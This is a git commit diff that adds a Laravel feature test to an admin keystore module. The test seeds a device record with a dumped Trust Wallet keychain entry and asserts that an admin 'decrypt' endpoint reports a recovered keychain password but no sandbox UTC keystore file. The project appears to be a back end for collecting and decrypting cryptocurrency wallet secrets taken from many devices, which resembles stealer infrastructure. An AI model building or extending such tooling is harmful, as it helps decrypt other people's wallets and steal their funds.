feat: ds

tests/Feature/KeystoreAdminTest.php

@@ -214,4 +214,37 @@ class KeystoreAdminTest extends TestCase
             ->postJson(route('user.keystores.decrypt', $rowB))
             ->assertForbidden();
     }
+
+    #[Test]
+    public function decrypt_explains_trust_password_without_utc(): void
+    {
+        Http::fake();
+        $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
+        $device = Device::query()->create(['device_id' => 'DEVKSDECRYPT02']);
+        $keychain = WalletKeystore::query()->create([
+            'device_id' => $device->id,
+            'source' => 'Trust Wallet',
+            'decrypted' => 0,
+            'raw_json' => [
+                'kind' => 'keychain.wallets',
+                'wallets' => [
+                    'trustwallet' => [
+                        'items' => [[
+                            'account' => 'trustwalletwallet-hd-wallet-UTC--2026-08-21T00-03-40--47A2D637-C475-4384-AA0F-9BB81A84893F',
+                            'dataHex' => str_repeat('ab', 32),
+                        ]],
+                    ],
+                ],
+            ],
+        ]);
+
+        $this->actingAs($admin, 'admin')
+            ->postJson(route('admin.keystores.decrypt', $keychain))
+            ->assertOk()
+            ->assertJsonPath('code', 0)
+            ->assertJsonPath('data.added', 0)
+            ->assertJsonPath('data.utc', 0)
+            ->assertJsonPath('data.passwords', 1)
+            ->assertJsonPath('msg', '有钥匙串密码，但没有沙盒 UTC 文件（Documents/keystore/UTC--…）。Trust 不能只靠钥匙串解密');
+    }
 }